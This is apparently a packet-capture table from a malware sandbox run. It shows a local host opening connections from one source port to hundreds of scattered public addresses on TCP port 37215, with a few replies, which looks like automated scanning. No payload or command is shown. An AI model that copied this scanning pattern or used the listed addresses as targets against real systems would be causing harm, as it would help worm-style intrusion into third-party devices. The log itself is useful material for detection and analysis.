Jan 22, 2024 03:59:41.608870029 CET	58015	37215	192.168.2.20	37.40.166.123
Jan 22, 2024 03:59:41.608889103 CET	58015	37215	192.168.2.20	156.78.93.230
Jan 22, 2024 03:59:41.608913898 CET	58015	37215	192.168.2.20	138.104.15.56
Jan 22, 2024 03:59:41.608926058 CET	58015	37215	192.168.2.20	120.217.30.122
Jan 22, 2024 03:59:41.608942032 CET	58015	37215	192.168.2.20	95.9.132.115
Jan 22, 2024 03:59:41.608966112 CET	58015	37215	192.168.2.20	156.192.123.15
Jan 22, 2024 03:59:41.608985901 CET	58015	37215	192.168.2.20	41.135.153.149
Jan 22, 2024 03:59:41.609013081 CET	58015	37215	192.168.2.20	94.36.230.231
Jan 22, 2024 03:59:41.609042883 CET	58015	37215	192.168.2.20	94.177.210.104
Jan 22, 2024 03:59:41.609045029 CET	58015	37215	192.168.2.20	156.233.231.212
Jan 22, 2024 03:59:41.609067917 CET	58015	37215	192.168.2.20	196.116.167.207
Jan 22, 2024 03:59:41.609088898 CET	58015	37215	192.168.2.20	41.42.34.36
Jan 22, 2024 03:59:41.609102011 CET	58015	37215	192.168.2.20	181.197.105.25
Jan 22, 2024 03:59:41.609126091 CET	58015	37215	192.168.2.20	156.186.52.100
Jan 22, 2024 03:59:41.609139919 CET	58015	37215	192.168.2.20	45.192.132.58
Jan 22, 2024 03:59:41.609154940 CET	58015	37215	192.168.2.20	37.176.250.235
Jan 22, 2024 03:59:41.609178066 CET	58015	37215	192.168.2.20	41.219.196.134
Jan 22, 2024 03:59:41.609200001 CET	58015	37215	192.168.2.20	197.191.57.123
Jan 22, 2024 03:59:41.609221935 CET	58015	37215	192.168.2.20	156.95.211.203
Jan 22, 2024 03:59:41.609246969 CET	58015	37215	192.168.2.20	102.136.217.172
Jan 22, 2024 03:59:41.609261990 CET	58015	37215	192.168.2.20	41.11.130.54
Jan 22, 2024 03:59:41.609283924 CET	58015	37215	192.168.2.20	41.67.175.131
Jan 22, 2024 03:59:41.609301090 CET	58015	37215	192.168.2.20	156.56.106.246
Jan 22, 2024 03:59:41.609321117 CET	58015	37215	192.168.2.20	41.216.100.162
Jan 22, 2024 03:59:41.609333038 CET	58015	37215	192.168.2.20	45.85.98.5
Jan 22, 2024 03:59:41.609353065 CET	58015	37215	192.168.2.20	197.234.119.23
Jan 22, 2024 03:59:41.609380007 CET	58015	37215	192.168.2.20	156.18.92.186
Jan 22, 2024 03:59:41.609390974 CET	58015	37215	192.168.2.20	181.220.27.148
Jan 22, 2024 03:59:41.609417915 CET	58015	37215	192.168.2.20	120.246.43.80
Jan 22, 2024 03:59:41.609438896 CET	58015	37215	192.168.2.20	156.97.171.198
Jan 22, 2024 03:59:41.752142906 CET	37215	58015	190.61.97.191	192.168.2.20
Jan 22, 2024 03:59:41.795986891 CET	37215	58015	190.36.65.25	192.168.2.20
Jan 22, 2024 03:59:41.808495998 CET	37215	58015	45.159.85.136	192.168.2.20
Jan 22, 2024 03:59:41.825182915 CET	37215	58015	197.230.69.145	192.168.2.20
Jan 22, 2024 03:59:41.828085899 CET	37215	58015	190.153.131.26	192.168.2.20
Jan 22, 2024 03:59:41.843147993 CET	37215	58015	197.253.147.152	192.168.2.20
Jan 22, 2024 03:59:41.851619005 CET	37215	58015	186.195.244.234	192.168.2.20
Jan 22, 2024 03:59:41.852641106 CET	37215	58015	197.234.119.23	192.168.2.20
Jan 22, 2024 03:59:41.853921890 CET	37215	58015	154.206.25.144	192.168.2.20
Jan 22, 2024 03:59:41.859200001 CET	37215	58015	45.192.132.58	192.168.2.20
Jan 22, 2024 03:59:41.893990040 CET	37215	58015	156.255.70.127	192.168.2.20
Jan 22, 2024 03:59:41.902452946 CET	37215	58015	154.85.143.119	192.168.2.20
Jan 22, 2024 03:59:41.958853960 CET	37215	58015	197.234.12.158	192.168.2.20
Jan 22, 2024 03:59:41.979099035 CET	37215	58015	41.149.116.129	192.168.2.20
Jan 22, 2024 03:59:41.984971046 CET	37215	58015	181.35.41.150	192.168.2.20
Jan 22, 2024 03:59:42.272541046 CET	37215	58015	154.148.186.242	192.168.2.20
Jan 22, 2024 03:59:42.364573002 CET	51026	37215	192.168.2.20	156.254.78.254
Jan 22, 2024 03:59:42.575633049 CET	37215	58015	196.121.158.38	192.168.2.20
Jan 22, 2024 03:59:42.588577986 CET	45866	37215	192.168.2.20	156.73.249.230
Jan 22, 2024 03:59:42.588582039 CET	36520	37215	192.168.2.20	156.73.209.201
Jan 22, 2024 03:59:42.610891104 CET	58015	37215	192.168.2.20	156.184.55.209
Jan 22, 2024 03:59:42.611018896 CET	58015	37215	192.168.2.20	196.238.179.106
Jan 22, 2024 03:59:42.611059904 CET	58015	37215	192.168.2.20	156.252.238.85
Jan 22, 2024 03:59:42.611085892 CET	58015	37215	192.168.2.20	156.232.155.75
Jan 22, 2024 03:59:42.611150980 CET	58015	37215	192.168.2.20	41.4.32.233
Jan 22, 2024 03:59:42.611251116 CET	58015	37215	192.168.2.20	41.9.9.236
Jan 22, 2024 03:59:42.611294031 CET	58015	37215	192.168.2.20	156.209.121.77
Jan 22, 2024 03:59:42.611355066 CET	58015	37215	192.168.2.20	41.243.161.109
Jan 22, 2024 03:59:42.611423969 CET	58015	37215	192.168.2.20	156.149.62.201
Jan 22, 2024 03:59:42.611491919 CET	58015	37215	192.168.2.20	107.208.129.248
Jan 22, 2024 03:59:42.611627102 CET	58015	37215	192.168.2.20	156.116.54.195
Jan 22, 2024 03:59:42.611665010 CET	58015	37215	192.168.2.20	41.217.144.198
Jan 22, 2024 03:59:42.611757040 CET	58015	37215	192.168.2.20	94.98.221.188
Jan 22, 2024 03:59:42.611834049 CET	58015	37215	192.168.2.20	157.40.187.93
Jan 22, 2024 03:59:42.611876965 CET	58015	37215	192.168.2.20	41.91.166.69
Jan 22, 2024 03:59:42.611954927 CET	58015	37215	192.168.2.20	197.171.236.159
Jan 22, 2024 03:59:42.611975908 CET	58015	37215	192.168.2.20	156.149.32.32
Jan 22, 2024 03:59:42.612021923 CET	58015	37215	192.168.2.20	41.0.65.155
Jan 22, 2024 03:59:42.612088919 CET	58015	37215	192.168.2.20	41.207.219.16
Jan 22, 2024 03:59:42.612154961 CET	58015	37215	192.168.2.20	41.218.249.47
Jan 22, 2024 03:59:42.612217903 CET	58015	37215	192.168.2.20	197.102.7.80
Jan 22, 2024 03:59:42.612422943 CET	58015	37215	192.168.2.20	156.100.94.226
Jan 22, 2024 03:59:42.612427950 CET	58015	37215	192.168.2.20	156.183.251.116
Jan 22, 2024 03:59:42.612504959 CET	58015	37215	192.168.2.20	186.205.150.246
Jan 22, 2024 03:59:42.612504005 CET	58015	37215	192.168.2.20	107.224.103.220
Jan 22, 2024 03:59:42.612571001 CET	58015	37215	192.168.2.20	156.61.61.58
Jan 22, 2024 03:59:42.612685919 CET	58015	37215	192.168.2.20	156.108.14.129
Jan 22, 2024 03:59:42.612819910 CET	58015	37215	192.168.2.20	122.198.146.179
Jan 22, 2024 03:59:42.612869978 CET	58015	37215	192.168.2.20	197.142.76.106
Jan 22, 2024 03:59:42.612889051 CET	58015	37215	192.168.2.20	156.105.104.249
Jan 22, 2024 03:59:42.612951994 CET	58015	37215	192.168.2.20	102.87.140.46
Jan 22, 2024 03:59:42.613084078 CET	58015	37215	192.168.2.20	157.46.53.145
Jan 22, 2024 03:59:42.613138914 CET	58015	37215	192.168.2.20	95.10.111.167
Jan 22, 2024 03:59:42.613149881 CET	58015	37215	192.168.2.20	156.202.230.213
Jan 22, 2024 03:59:42.613223076 CET	58015	37215	192.168.2.20	197.89.196.140
Jan 22, 2024 03:59:42.613281012 CET	58015	37215	192.168.2.20	156.72.103.2
Jan 22, 2024 03:59:42.613349915 CET	58015	37215	192.168.2.20	156.211.35.20
Jan 22, 2024 03:59:42.613420010 CET	58015	37215	192.168.2.20	156.12.24.231
Jan 22, 2024 03:59:42.613481045 CET	58015	37215	192.168.2.20	190.29.242.42
Jan 22, 2024 03:59:42.613553047 CET	58015	37215	192.168.2.20	121.49.159.43
Jan 22, 2024 03:59:42.613625050 CET	58015	37215	192.168.2.20	94.35.150.39
Jan 22, 2024 03:59:42.613717079 CET	58015	37215	192.168.2.20	157.26.218.132
Jan 22, 2024 03:59:42.613754988 CET	58015	37215	192.168.2.20	41.173.59.253
Jan 22, 2024 03:59:42.613815069 CET	58015	37215	192.168.2.20	197.213.194.243
Jan 22, 2024 03:59:42.613913059 CET	58015	37215	192.168.2.20	45.200.14.125
Jan 22, 2024 03:59:42.613954067 CET	58015	37215	192.168.2.20	222.126.170.226
Jan 22, 2024 03:59:42.614022970 CET	58015	37215	192.168.2.20	222.130.149.231
Jan 22, 2024 03:59:42.614077091 CET	58015	37215	192.168.2.20	156.190.192.12
Jan 22, 2024 03:59:42.614145994 CET	58015	37215	192.168.2.20	181.145.136.13
Jan 22, 2024 03:59:42.614212036 CET	58015	37215	192.168.2.20	157.123.234.123
Jan 22, 2024 03:59:42.614284992 CET	58015	37215	192.168.2.20	41.189.2.249
Jan 22, 2024 03:59:42.614350080 CET	58015	37215	192.168.2.20	157.179.209.55
Jan 22, 2024 03:59:42.614419937 CET	58015	37215	192.168.2.20	156.98.198.246
Jan 22, 2024 03:59:42.614476919 CET	58015	37215	192.168.2.20	156.68.249.157
Jan 22, 2024 03:59:42.614609957 CET	58015	37215	192.168.2.20	197.169.8.211
Jan 22, 2024 03:59:42.614680052 CET	58015	37215	192.168.2.20	41.220.122.124
Jan 22, 2024 03:59:42.614727974 CET	58015	37215	192.168.2.20	156.27.207.151
Jan 22, 2024 03:59:42.614763975 CET	58015	37215	192.168.2.20	120.170.172.83
Jan 22, 2024 03:59:42.614855051 CET	58015	37215	192.168.2.20	41.15.232.22
Jan 22, 2024 03:59:42.614873886 CET	58015	37215	192.168.2.20	138.200.239.172
Jan 22, 2024 03:59:42.614955902 CET	58015	37215	192.168.2.20	121.167.144.220
Jan 22, 2024 03:59:42.615012884 CET	58015	37215	192.168.2.20	186.27.78.166
Jan 22, 2024 03:59:42.615080118 CET	58015	37215	192.168.2.20	197.154.68.6
Jan 22, 2024 03:59:42.615144014 CET	58015	37215	192.168.2.20	41.62.141.227
Jan 22, 2024 03:59:42.615211964 CET	58015	37215	192.168.2.20	41.123.6.236
Jan 22, 2024 03:59:42.615277052 CET	58015	37215	192.168.2.20	41.159.197.133
Jan 22, 2024 03:59:42.615350962 CET	58015	37215	192.168.2.20	156.152.252.156
Jan 22, 2024 03:59:42.615411997 CET	58015	37215	192.168.2.20	186.135.168.58
Jan 22, 2024 03:59:42.615483999 CET	58015	37215	192.168.2.20	41.197.71.175
Jan 22, 2024 03:59:42.615550995 CET	58015	37215	192.168.2.20	156.201.139.8
Jan 22, 2024 03:59:42.615608931 CET	58015	37215	192.168.2.20	41.237.230.189
Jan 22, 2024 03:59:42.615674973 CET	58015	37215	192.168.2.20	156.198.251.248
Jan 22, 2024 03:59:42.615741968 CET	58015	37215	192.168.2.20	197.42.99.30
Jan 22, 2024 03:59:42.615817070 CET	58015	37215	192.168.2.20	37.252.213.250
Jan 22, 2024 03:59:42.615881920 CET	58015	37215	192.168.2.20	196.43.134.254
Jan 22, 2024 03:59:42.615948915 CET	58015	37215	192.168.2.20	102.199.71.226
Jan 22, 2024 03:59:42.616008997 CET	58015	37215	192.168.2.20	156.67.134.43
Jan 22, 2024 03:59:42.616074085 CET	58015	37215	192.168.2.20	222.50.105.133
Jan 22, 2024 03:59:42.616148949 CET	58015	37215	192.168.2.20	154.190.129.152
Jan 22, 2024 03:59:42.616205931 CET	58015	37215	192.168.2.20	41.97.17.143
Jan 22, 2024 03:59:42.616282940 CET	58015	37215	192.168.2.20	41.18.55.16
Jan 22, 2024 03:59:42.616350889 CET	58015	37215	192.168.2.20	41.11.6.4
Jan 22, 2024 03:59:42.616414070 CET	58015	37215	192.168.2.20	156.3.96.111
Jan 22, 2024 03:59:42.616493940 CET	58015	37215	192.168.2.20	156.34.185.70
Jan 22, 2024 03:59:42.616561890 CET	58015	37215	192.168.2.20	94.77.145.201
Jan 22, 2024 03:59:42.616627932 CET	58015	37215	192.168.2.20	41.176.200.56
Jan 22, 2024 03:59:42.616693974 CET	58015	37215	192.168.2.20	156.20.59.144
Jan 22, 2024 03:59:42.616761923 CET	58015	37215	192.168.2.20	156.3.247.75
Jan 22, 2024 03:59:42.616818905 CET	58015	37215	192.168.2.20	41.36.250.64
Jan 22, 2024 03:59:42.616885900 CET	58015	37215	192.168.2.20	197.79.97.191
Jan 22, 2024 03:59:42.616961002 CET	58015	37215	192.168.2.20	197.113.158.170
Jan 22, 2024 03:59:42.617026091 CET	58015	37215	192.168.2.20	41.219.232.252
Jan 22, 2024 03:59:42.617093086 CET	58015	37215	192.168.2.20	41.246.205.213
Jan 22, 2024 03:59:42.617150068 CET	58015	37215	192.168.2.20	197.237.212.29
Jan 22, 2024 03:59:42.617238045 CET	58015	37215	192.168.2.20	156.19.127.118
Jan 22, 2024 03:59:42.617285013 CET	58015	37215	192.168.2.20	138.174.250.92
Jan 22, 2024 03:59:42.617351055 CET	58015	37215	192.168.2.20	222.139.79.66
Jan 22, 2024 03:59:42.617424011 CET	58015	37215	192.168.2.20	190.205.95.247
Jan 22, 2024 03:59:42.617491007 CET	58015	37215	192.168.2.20	156.118.158.254
Jan 22, 2024 03:59:42.617552996 CET	58015	37215	192.168.2.20	197.66.240.21
Jan 22, 2024 03:59:42.617620945 CET	58015	37215	192.168.2.20	222.160.213.142
Jan 22, 2024 03:59:42.617687941 CET	58015	37215	192.168.2.20	41.206.75.47
Jan 22, 2024 03:59:42.617753983 CET	58015	37215	192.168.2.20	138.99.146.156
Jan 22, 2024 03:59:42.617820978 CET	58015	37215	192.168.2.20	154.68.95.182
Jan 22, 2024 03:59:42.617883921 CET	58015	37215	192.168.2.20	160.20.179.212
Jan 22, 2024 03:59:42.617943048 CET	58015	37215	192.168.2.20	160.64.31.198
Jan 22, 2024 03:59:42.618010998 CET	58015	37215	192.168.2.20	181.246.204.6
Jan 22, 2024 03:59:42.618077993 CET	58015	37215	192.168.2.20	156.128.41.113
Jan 22, 2024 03:59:42.618155003 CET	58015	37215	192.168.2.20	197.57.71.50
Jan 22, 2024 03:59:42.618218899 CET	58015	37215	192.168.2.20	41.253.155.95
Jan 22, 2024 03:59:42.618284941 CET	58015	37215	192.168.2.20	181.163.249.42
Jan 22, 2024 03:59:42.618350029 CET	58015	37215	192.168.2.20	154.128.157.109
Jan 22, 2024 03:59:42.618410110 CET	58015	37215	192.168.2.20	197.181.118.99
Jan 22, 2024 03:59:42.618483067 CET	58015	37215	192.168.2.20	186.20.224.48
Jan 22, 2024 03:59:42.618558884 CET	58015	37215	192.168.2.20	197.171.213.188
Jan 22, 2024 03:59:42.618617058 CET	58015	37215	192.168.2.20	197.95.184.134
Jan 22, 2024 03:59:42.618679047 CET	58015	37215	192.168.2.20	94.149.122.204
Jan 22, 2024 03:59:42.618741989 CET	58015	37215	192.168.2.20	197.46.132.185
Jan 22, 2024 03:59:42.618814945 CET	58015	37215	192.168.2.20	122.192.179.162
Jan 22, 2024 03:59:42.618881941 CET	58015	37215	192.168.2.20	41.197.34.206
Jan 22, 2024 03:59:42.618947029 CET	58015	37215	192.168.2.20	156.165.4.167
Jan 22, 2024 03:59:42.619014025 CET	58015	37215	192.168.2.20	222.231.95.149
Jan 22, 2024 03:59:42.619079113 CET	58015	37215	192.168.2.20	197.144.253.232
Jan 22, 2024 03:59:42.619144917 CET	58015	37215	192.168.2.20	197.188.239.52
Jan 22, 2024 03:59:42.619210958 CET	58015	37215	192.168.2.20	156.233.21.232
Jan 22, 2024 03:59:42.619354010 CET	58015	37215	192.168.2.20	197.11.4.13
Jan 22, 2024 03:59:42.619427919 CET	58015	37215	192.168.2.20	45.43.252.107
Jan 22, 2024 03:59:42.619487047 CET	58015	37215	192.168.2.20	37.38.18.162
Jan 22, 2024 03:59:42.619560957 CET	58015	37215	192.168.2.20	41.19.240.70
Jan 22, 2024 03:59:42.619625092 CET	58015	37215	192.168.2.20	197.159.132.143
Jan 22, 2024 03:59:42.619692087 CET	58015	37215	192.168.2.20	197.175.71.232
Jan 22, 2024 03:59:42.619750977 CET	58015	37215	192.168.2.20	41.249.180.222
Jan 22, 2024 03:59:42.619817019 CET	58015	37215	192.168.2.20	156.229.79.151
Jan 22, 2024 03:59:42.619882107 CET	58015	37215	192.168.2.20	157.40.136.163
Jan 22, 2024 03:59:42.619947910 CET	58015	37215	192.168.2.20	197.80.128.195
Jan 22, 2024 03:59:42.620012999 CET	58015	37215	192.168.2.20	197.243.92.39
Jan 22, 2024 03:59:42.620086908 CET	58015	37215	192.168.2.20	138.222.194.186
Jan 22, 2024 03:59:42.620151997 CET	58015	37215	192.168.2.20	156.146.42.122
Jan 22, 2024 03:59:42.620215893 CET	58015	37215	192.168.2.20	41.152.157.30
Jan 22, 2024 03:59:42.620285034 CET	58015	37215	192.168.2.20	181.208.119.50
Jan 22, 2024 03:59:42.620348930 CET	58015	37215	192.168.2.20	197.92.57.89
Jan 22, 2024 03:59:42.620405912 CET	58015	37215	192.168.2.20	156.186.105.197
Jan 22, 2024 03:59:42.620492935 CET	58015	37215	192.168.2.20	138.1.251.8
Jan 22, 2024 03:59:42.620553017 CET	58015	37215	192.168.2.20	41.105.126.72
Jan 22, 2024 03:59:42.620618105 CET	58015	37215	192.168.2.20	156.79.233.111
Jan 22, 2024 03:59:42.620688915 CET	58015	37215	192.168.2.20	156.62.34.62
Jan 22, 2024 03:59:42.620754004 CET	58015	37215	192.168.2.20	37.49.78.165
Jan 22, 2024 03:59:42.620820045 CET	58015	37215	192.168.2.20	181.17.58.58
Jan 22, 2024 03:59:42.620893002 CET	58015	37215	192.168.2.20	197.140.24.144
Jan 22, 2024 03:59:42.620953083 CET	58015	37215	192.168.2.20	156.129.101.204
Jan 22, 2024 03:59:42.621017933 CET	58015	37215	192.168.2.20	41.75.215.31
Jan 22, 2024 03:59:42.621093035 CET	58015	37215	192.168.2.20	37.201.248.195
Jan 22, 2024 03:59:42.621156931 CET	58015	37215	192.168.2.20	120.20.105.165
Jan 22, 2024 03:59:42.621217012 CET	58015	37215	192.168.2.20	196.107.115.82
Jan 22, 2024 03:59:42.621289968 CET	58015	37215	192.168.2.20	154.77.115.157
Jan 22, 2024 03:59:42.621347904 CET	58015	37215	192.168.2.20	222.255.50.166
Jan 22, 2024 03:59:42.621422052 CET	58015	37215	192.168.2.20	186.61.131.136
Jan 22, 2024 03:59:42.621486902 CET	58015	37215	192.168.2.20	41.93.23.75
Jan 22, 2024 03:59:42.621611118 CET	58015	37215	192.168.2.20	156.18.18.232
Jan 22, 2024 03:59:42.621668100 CET	58015	37215	192.168.2.20	157.9.246.26
Jan 22, 2024 03:59:42.621684074 CET	58015	37215	192.168.2.20	41.246.167.72
Jan 22, 2024 03:59:42.621742964 CET	58015	37215	192.168.2.20	45.183.82.188
Jan 22, 2024 03:59:42.621814966 CET	58015	37215	192.168.2.20	181.77.43.177
Jan 22, 2024 03:59:42.621881008 CET	58015	37215	192.168.2.20	138.52.2.115
Jan 22, 2024 03:59:42.621939898 CET	58015	37215	192.168.2.20	92.247.189.23
Jan 22, 2024 03:59:42.622015953 CET	58015	37215	192.168.2.20	156.238.102.247
Jan 22, 2024 03:59:42.622077942 CET	58015	37215	192.168.2.20	45.61.4.179
Jan 22, 2024 03:59:42.622145891 CET	58015	37215	192.168.2.20	41.30.45.74
Jan 22, 2024 03:59:42.622211933 CET	58015	37215	192.168.2.20	197.234.161.18
Jan 22, 2024 03:59:42.622272015 CET	58015	37215	192.168.2.20	41.109.110.25
Jan 22, 2024 03:59:42.622338057 CET	58015	37215	192.168.2.20	41.150.217.229
Jan 22, 2024 03:59:42.622411966 CET	58015	37215	192.168.2.20	156.169.51.142
Jan 22, 2024 03:59:42.622477055 CET	58015	37215	192.168.2.20	197.148.130.202
Jan 22, 2024 03:59:42.622545004 CET	58015	37215	192.168.2.20	102.134.115.48
Jan 22, 2024 03:59:42.622611046 CET	58015	37215	192.168.2.20	197.113.78.79
Jan 22, 2024 03:59:42.622678041 CET	58015	37215	192.168.2.20	197.150.227.44
Jan 22, 2024 03:59:42.622736931 CET	58015	37215	192.168.2.20	197.104.161.222
Jan 22, 2024 03:59:42.622814894 CET	58015	37215	192.168.2.20	41.209.81.117
Jan 22, 2024 03:59:42.622874022 CET	58015	37215	192.168.2.20	37.93.247.230
Jan 22, 2024 03:59:42.622940063 CET	58015	37215	192.168.2.20	197.59.217.147
Jan 22, 2024 03:59:42.622981071 CET	58015	37215	192.168.2.20	107.184.84.197
Jan 22, 2024 03:59:42.623016119 CET	58015	37215	192.168.2.20	156.218.7.78
Jan 22, 2024 03:59:42.623033047 CET	58015	37215	192.168.2.20	197.229.235.168
Jan 22, 2024 03:59:42.623055935 CET	58015	37215	192.168.2.20	197.38.131.215
Jan 22, 2024 03:59:42.623084068 CET	58015	37215	192.168.2.20	197.16.73.142
Jan 22, 2024 03:59:42.623084068 CET	58015	37215	192.168.2.20	41.228.191.52
Jan 22, 2024 03:59:42.623097897 CET	58015	37215	192.168.2.20	156.83.99.136
Jan 22, 2024 03:59:42.623111963 CET	58015	37215	192.168.2.20	41.23.213.238
Jan 22, 2024 03:59:42.623136997 CET	58015	37215	192.168.2.20	156.47.12.76
Jan 22, 2024 03:59:42.623158932 CET	58015	37215	192.168.2.20	45.204.249.21
Jan 22, 2024 03:59:42.623171091 CET	58015	37215	192.168.2.20	197.239.34.112
Jan 22, 2024 03:59:42.623187065 CET	58015	37215	192.168.2.20	197.63.89.61
Jan 22, 2024 03:59:42.623200893 CET	58015	37215	192.168.2.20	156.108.63.186
Jan 22, 2024 03:59:42.623219013 CET	58015	37215	192.168.2.20	156.10.60.75
Jan 22, 2024 03:59:42.623231888 CET	58015	37215	192.168.2.20	37.25.104.71
Jan 22, 2024 03:59:42.623254061 CET	58015	37215	192.168.2.20	41.20.230.4
Jan 22, 2024 03:59:42.623265982 CET	58015	37215	192.168.2.20	156.202.56.26
Jan 22, 2024 03:59:42.623274088 CET	58015	37215	192.168.2.20	154.16.32.172
Jan 22, 2024 03:59:42.623291016 CET	58015	37215	192.168.2.20	92.210.141.58
Jan 22, 2024 03:59:42.623315096 CET	58015	37215	192.168.2.20	197.247.158.78
Jan 22, 2024 03:59:42.623344898 CET	58015	37215	192.168.2.20	160.146.170.91
Jan 22, 2024 03:59:42.623347044 CET	58015	37215	192.168.2.20	222.90.97.213
Jan 22, 2024 03:59:42.623354912 CET	58015	37215	192.168.2.20	156.104.100.182
Jan 22, 2024 03:59:42.623368025 CET	58015	37215	192.168.2.20	41.166.129.247
Jan 22, 2024 03:59:42.623388052 CET	58015	37215	192.168.2.20	181.215.177.137
Jan 22, 2024 03:59:42.623410940 CET	58015	37215	192.168.2.20	41.115.81.110
Jan 22, 2024 03:59:42.623442888 CET	58015	37215	192.168.2.20	190.192.254.138
Jan 22, 2024 03:59:42.623447895 CET	58015	37215	192.168.2.20	156.94.163.254
Jan 22, 2024 03:59:42.623466015 CET	58015	37215	192.168.2.20	41.189.64.110
Jan 22, 2024 03:59:42.623466015 CET	58015	37215	192.168.2.20	156.166.224.67
Jan 22, 2024 03:59:42.623490095 CET	58015	37215	192.168.2.20	197.9.140.79
Jan 22, 2024 03:59:42.623505116 CET	58015	37215	192.168.2.20	160.30.22.7
Jan 22, 2024 03:59:42.623522043 CET	58015	37215	192.168.2.20	41.91.195.92
Jan 22, 2024 03:59:42.623539925 CET	58015	37215	192.168.2.20	197.183.146.253
Jan 22, 2024 03:59:42.623555899 CET	58015	37215	192.168.2.20	95.84.75.65
Jan 22, 2024 03:59:42.623567104 CET	58015	37215	192.168.2.20	181.138.139.13
Jan 22, 2024 03:59:42.623586893 CET	58015	37215	192.168.2.20	186.17.72.209
Jan 22, 2024 03:59:42.623603106 CET	58015	37215	192.168.2.20	196.1.28.168
Jan 22, 2024 03:59:42.623630047 CET	58015	37215	192.168.2.20	154.134.16.204
Jan 22, 2024 03:59:42.623631001 CET	58015	37215	192.168.2.20	197.249.57.69
Jan 22, 2024 03:59:42.623646021 CET	58015	37215	192.168.2.20	41.146.103.218
Jan 22, 2024 03:59:42.623668909 CET	58015	37215	192.168.2.20	197.61.11.104
Jan 22, 2024 03:59:42.623677969 CET	58015	37215	192.168.2.20	197.51.45.249
Jan 22, 2024 03:59:42.623693943 CET	58015	37215	192.168.2.20	120.128.226.142
Jan 22, 2024 03:59:42.623718977 CET	58015	37215	192.168.2.20	156.113.141.87
Jan 22, 2024 03:59:42.623730898 CET	58015	37215	192.168.2.20	121.90.46.155
Jan 22, 2024 03:59:42.623743057 CET	58015	37215	192.168.2.20	156.189.201.151
Jan 22, 2024 03:59:42.623764992 CET	58015	37215	192.168.2.20	156.133.156.248
Jan 22, 2024 03:59:42.623775005 CET	58015	37215	192.168.2.20	181.62.46.23
Jan 22, 2024 03:59:42.623789072 CET	58015	37215	192.168.2.20	95.119.232.34
Jan 22, 2024 03:59:42.623815060 CET	58015	37215	192.168.2.20	121.38.171.33
Jan 22, 2024 03:59:42.623828888 CET	58015	37215	192.168.2.20	197.10.138.81
Jan 22, 2024 03:59:42.623845100 CET	58015	37215	192.168.2.20	120.49.70.93
Jan 22, 2024 03:59:42.623857021 CET	58015	37215	192.168.2.20	41.174.249.180
Jan 22, 2024 03:59:42.623868942 CET	58015	37215	192.168.2.20	156.239.76.47
Jan 22, 2024 03:59:42.623893976 CET	58015	37215	192.168.2.20	154.62.236.18
Jan 22, 2024 03:59:42.623904943 CET	58015	37215	192.168.2.20	156.189.190.249
Jan 22, 2024 03:59:42.623925924 CET	58015	37215	192.168.2.20	154.107.222.244
Jan 22, 2024 03:59:42.623935938 CET	58015	37215	192.168.2.20	41.171.29.203
Jan 22, 2024 03:59:42.623960018 CET	58015	37215	192.168.2.20	41.93.2.37
Jan 22, 2024 03:59:42.623970985 CET	58015	37215	192.168.2.20	197.175.22.95
Jan 22, 2024 03:59:42.623997927 CET	58015	37215	192.168.2.20	41.247.15.236
Jan 22, 2024 03:59:42.624001980 CET	58015	37215	192.168.2.20	197.210.99.19
Jan 22, 2024 03:59:42.624022007 CET	58015	37215	192.168.2.20	120.163.106.173
Jan 22, 2024 03:59:42.624032021 CET	58015	37215	192.168.2.20	45.195.97.224
Jan 22, 2024 03:59:42.624057055 CET	58015	37215	192.168.2.20	197.94.133.233
Jan 22, 2024 03:59:42.624087095 CET	58015	37215	192.168.2.20	156.31.98.160
Jan 22, 2024 03:59:42.624093056 CET	58015	37215	192.168.2.20	156.143.2.201
Jan 22, 2024 03:59:42.624111891 CET	58015	37215	192.168.2.20	197.55.14.5
Jan 22, 2024 03:59:42.624124050 CET	58015	37215	192.168.2.20	41.57.145.128
Jan 22, 2024 03:59:42.624139071 CET	58015	37215	192.168.2.20	156.250.220.177
Jan 22, 2024 03:59:42.624146938 CET	58015	37215	192.168.2.20	197.81.234.165
Jan 22, 2024 03:59:42.624170065 CET	58015	37215	192.168.2.20	197.91.219.239
Jan 22, 2024 03:59:42.624193907 CET	58015	37215	192.168.2.20	181.200.154.225
Jan 22, 2024 03:59:42.624207020 CET	58015	37215	192.168.2.20	196.3.43.72
Jan 22, 2024 03:59:42.624209881 CET	58015	37215	192.168.2.20	156.236.99.37
Jan 22, 2024 03:59:42.624223948 CET	58015	37215	192.168.2.20	41.82.238.222
Jan 22, 2024 03:59:42.624248981 CET	58015	37215	192.168.2.20	120.198.80.35
Jan 22, 2024 03:59:42.624265909 CET	58015	37215	192.168.2.20	197.120.169.133
Jan 22, 2024 03:59:42.624275923 CET	58015	37215	192.168.2.20	156.126.93.24
Jan 22, 2024 03:59:42.624296904 CET	58015	37215	192.168.2.20	41.10.31.6
Jan 22, 2024 03:59:42.624314070 CET	58015	37215	192.168.2.20	41.222.12.37
Jan 22, 2024 03:59:42.624321938 CET	58015	37215	192.168.2.20	197.146.253.128
Jan 22, 2024 03:59:42.624351025 CET	58015	37215	192.168.2.20	197.185.197.46
Jan 22, 2024 03:59:42.624360085 CET	58015	37215	192.168.2.20	156.235.173.43
Jan 22, 2024 03:59:42.624381065 CET	58015	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:42.624386072 CET	58015	37215	192.168.2.20	157.229.108.185
Jan 22, 2024 03:59:42.624408007 CET	58015	37215	192.168.2.20	197.221.15.126
Jan 22, 2024 03:59:42.624418974 CET	58015	37215	192.168.2.20	95.179.153.153
Jan 22, 2024 03:59:42.624445915 CET	58015	37215	192.168.2.20	156.7.61.187
Jan 22, 2024 03:59:42.624454021 CET	58015	37215	192.168.2.20	122.101.55.121
Jan 22, 2024 03:59:42.624468088 CET	58015	37215	192.168.2.20	45.39.150.228
Jan 22, 2024 03:59:42.624486923 CET	58015	37215	192.168.2.20	95.130.34.57
Jan 22, 2024 03:59:42.624501944 CET	58015	37215	192.168.2.20	107.29.30.128
Jan 22, 2024 03:59:42.624515057 CET	58015	37215	192.168.2.20	156.207.238.166
Jan 22, 2024 03:59:42.624533892 CET	58015	37215	192.168.2.20	197.14.92.35
Jan 22, 2024 03:59:42.624557018 CET	58015	37215	192.168.2.20	41.89.62.3
Jan 22, 2024 03:59:42.624567032 CET	58015	37215	192.168.2.20	154.81.109.87
Jan 22, 2024 03:59:42.624591112 CET	58015	37215	192.168.2.20	41.7.168.161
Jan 22, 2024 03:59:42.624596119 CET	58015	37215	192.168.2.20	41.31.223.209
Jan 22, 2024 03:59:42.624622107 CET	58015	37215	192.168.2.20	41.31.59.26
Jan 22, 2024 03:59:42.624638081 CET	58015	37215	192.168.2.20	156.77.220.217
Jan 22, 2024 03:59:42.624663115 CET	58015	37215	192.168.2.20	157.231.220.195
